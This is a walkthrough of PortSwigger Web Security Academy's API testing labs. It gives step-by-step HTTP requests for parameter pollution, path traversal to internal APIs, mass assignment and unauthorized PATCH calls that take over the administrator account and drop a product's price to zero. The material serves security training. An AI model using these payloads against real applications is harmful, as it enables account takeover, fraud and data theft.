WebSecurityAcademy (PortSwigger) – API testing

Walk-through of the API testing labs on PortSwigger Web Security Academy.

Apprentice – Exploiting an API endpoint using documentation

To solve the lab, find the exposed API documentation and delete carlos. You can log in to your own account using the following credentials: wiener:peter.

Go to the Target tab, right-click on the lab host and Engagement tools->Discover content. The endpoint /api/ is discovered. If necessary, scan the /api/ endpoint. We find API documentation.

https://<LAB ID>.web-security-academy.net/api/
https://<LAB ID>.web-security-academy.net/api/doc/Result
https://<LAB ID>.web-security-academy.net/api/doc/User
https://<LAB ID>.web-security-academy.net/api/static/js/endpoints.js

Try to delete user carlos.

DELETE /api/user/carlos HTTP/2
Host: <LAB ID>.web-security-academy.net
HTTP/2 401 Unauthorized
[...]

"Unauthorized"

Click on My account and log in with credentials wiener:peter.

From the Repeater tab, call the /api/user API using the session cookie.

DELETE /api/user/carlos HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=<SESSION ID>;

The lab should now be completed.

Practitioner – Exploiting server-side parameter pollution in a query string

To solve the lab, log in as the administrator and delete carlos.

Click on My account. Click on Forgot password?. Enter any username. A request is sent to /forgot-password.

POST /forgot-password HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&username=whatever
HTTP/2 400 Bad Request
[...]

{"type":"ClientError","code":400,"error":"Invalid username."}

Send the request to the Repeater module. Change the username to administrator.

POST /forgot-password HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&username=administrator
HTTP/2 200 OK
[...]

{"result":"*****@normal-user.net","type":"email"}

Add any parameter to the request. NOTE: You need to URL encode the “&” symbol or the server will ignore it.

POST /forgot-password HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&username=administrator%26param=whatever
HTTP/2 400 Bad Request
[...]

{"error": "Parameter is not supported."}

This suggests that the internal API may have interpreted “&param=whatever” as a separate parameter, instead of part of the username.

Truncate the server-side query string using “#”.

POST /forgot-password HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&username=administrator%23
HTTP/2 400 Bad Request
[...]

{"error": "Field not specified."}

This suggests that the server-side query may include an additional parameter called “field”, which has been removed by the “#” character.

Add a field parameter to the request and truncate the query string.

POST /forgot-password HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&username=administrator%26field=whatever%23
HTTP/2 400 Bad Request
[...]

{"type":"ClientError","code":400,"error":"Invalid field."}

Inspect the JavaScript file “/static/js/forgotPassword.js” from the Proxy tab.

[...]
window.location.href = `/forgot-password?reset_token=${resetToken}`;
[...]

The user will receive a “reset_token”. Try “reset_token” as the parameter name. It would also be possible to bruteforce parameter names with the Intruder module and the predefined list Server-side variable names as the payload.

POST /forgot-password HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&username=administrator%26field=reset_token%23
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 66

{"result":"hzypi5xpwh2lm7t7l31nulh722zw64d6","type":"reset_token"}

Reset the administrator’s password. From the browser, access:

https://<LAB ID>.web-security-academy.net/forgot-password?reset_token=hzypi5xpwh2lm7t7l31nulh722zw64d6

Enter a new password. Click on My account and log in as administrator. Click on Admin panel and delete user carlos.

Practitioner – Finding and exploiting an unused API endpoint

To solve the lab, exploit a hidden API endpoint to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.

From the Home page, click on View details under the Lightweight “l33t” Leather Jacket. Inspect requests in Burp Suite.

GET /api/products/1/price HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 87

{"price":"$1337.00","message":"30 people have viewed this item in the last 17 minutes"}

Using the Repeater module, check if other HTTP methods are supported.

OPTIONS /api/products/1/price HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 405 Method Not Allowed
Allow: GET, PATCH
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20

"Method Not Allowed"

The PATCH method is allowed. Update the jacket’s price to 0$.

PATCH /api/products/1/price HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Content-Type: application/json; charset=utf-8

{"price":0}
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{"price":"$0.00"}
  • From the Home page, click on View details under the Lightweight “l33t” Leather Jacket.
  • Click Add to cart.
  • Click on your cart.
  • Click Place order to buy the jacket and solve the lab.

Practitioner – Exploiting a mass assignment vulnerability

To solve the lab, find and exploit a mass assignment vulnerability to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.

  • Click on My account and log in using credentials wiener:peter.
  • From the Home page, click on View details under the Lightweight “l33t” Leather Jacket.
  • Click Add to cart.
  • Click on your cart.

Inspect requests using Burp Suite.

GET /api/checkout HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 153

{"chosen_discount":{"percentage":0},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":133700}]}

Notice the “chosen_discount” parameter set to “0”. Send the request to the Repeater module. List the HTTP methods allowed using the OPTIONS method.

OPTIONS /api/checkout HTTP/2
Host: <LAB ID>.web-security-academy.net
HTTP/2 405 Method Not Allowed
Allow: GET, POST
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20

"Method Not Allowed"

Methods GET and POST are allowed. Send a POST request with the “chosen_discount” set to “100” (use parameters from the first server response above).

POST /api/checkout HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

{"chosen_discount":{"percentage":100},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":133700}]}

The lab should now be solved.

Expert – Exploiting server-side parameter pollution in a REST URL

To solve the lab, log in as the administrator and delete carlos.

Using Burp Suite, discover content. We find an administrative interface at
“https://<LAB ID>.web-security-academy.net/admin”. Accessing it gives the message:

Admin interface only available if logged in as an administrator

Click on My account and Forgot password?. Send the request to the Repeater module.

POST /forgot-password HTTP/2
Host: <LAB ID>.web-security-academy.net
[..]

csrf=<token>&username=administrator
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}

Test for Server-side parameter pollution. Attempt to truncate the server-side query string by adding “#” (%23) at the end. It needs to be URL encoded.

POST /forgot-password HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&username=administrator%23
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86

{
  "type": "error",
  "result": "Invalid route. Please refer to the API definition"
}

Change username to “./administrator”.

POST /forgot-password HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&username=./administrator
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}

The response stays the same. The request may have accessed the same URL path as the original request, and indicates that the input may be placed in the URL path. Using “../administrator” results in “Invalid route”.

Add a parameter to the request with “&” (%26). It needs to be URL encoded.

POST /forgot-password HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&username=administrator%26param=whatever
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 106

{
  "type": "error",
  "result": "The provided username \"administrator&param=whatever\" does not exist"
}

Try to find the API documentation using common paths (or use the Intruder). We find file “openapi.json”.

POST /forgot-password HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&username=../../../../../../openapi.json%23
HTTP/2 500 Internal Server Error
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 629

{
  "error": "Unexpected response from API server:\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"User API\",\n    \"version\": \"2.0.0\"\n  },\n  \"paths\": {\n    \"/api/internal/v1/users/{username}/field/{field}\": {\n      \"get\": {\n        \"tags\": [\n          \"users\"\n        ],\n        \"summary\": \"Find user by username\",\n        \"description\": \"API Version 1\",\n        \"parameters\": [\n          {\n            \"name\": \"username\",\n            \"in\": \"path\",\n            \"description\": \"Username\",\n            \"required\": true,\n            \"schema\": {\n        ..."
}
{
  "openapi": "3.0.0",
  "info": {
    "title": "User API",
    "version": "2.0.0"
  },
  "paths": {
    "/api/internal/v1/users/{username}/field/{field}": {
      "get": {
        "tags": [
          "users"
        ],
        "summary": "Find user by username",
        "description": "API Version 1",
        "parameters": [
          {
            "name": "username",
            "in": "path",
            "description": "Username",
            "required": true,
            "schema": {
        ..."
}

We find API “/api/internal/v1/users/{username}/field/{field}”. Try calling the API.

POST /forgot-password HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&username=../../../../../../api/internal/v1/users/administrator/field/username%23
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 53

{
  "type": "username",
  "result": "administrator"
}

We need to find the fieldname for the token. Inspect /static/js/forgotPassword.js

[...]
window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
[...]

Try field name “passwordResetToken”.

POST /forgot-password HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&username=../../../../../../api/internal/v1/users/administrator/field/passwordResetToken%23
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 82

{
  "type": "passwordResetToken",
  "result": "gywz78uum17ugu3lnzr2chy2jukik0c6"
}

Access the URL with the token and set a new password:

https://<LAB ID>.web-security-academy.net/forgot-password?passwordResetToken=gywz78uum17ugu3lnzr2chy2jukik0c6

Click on My account and log in as administrator. Click on Admin panel and delete user carlos to solve the lab.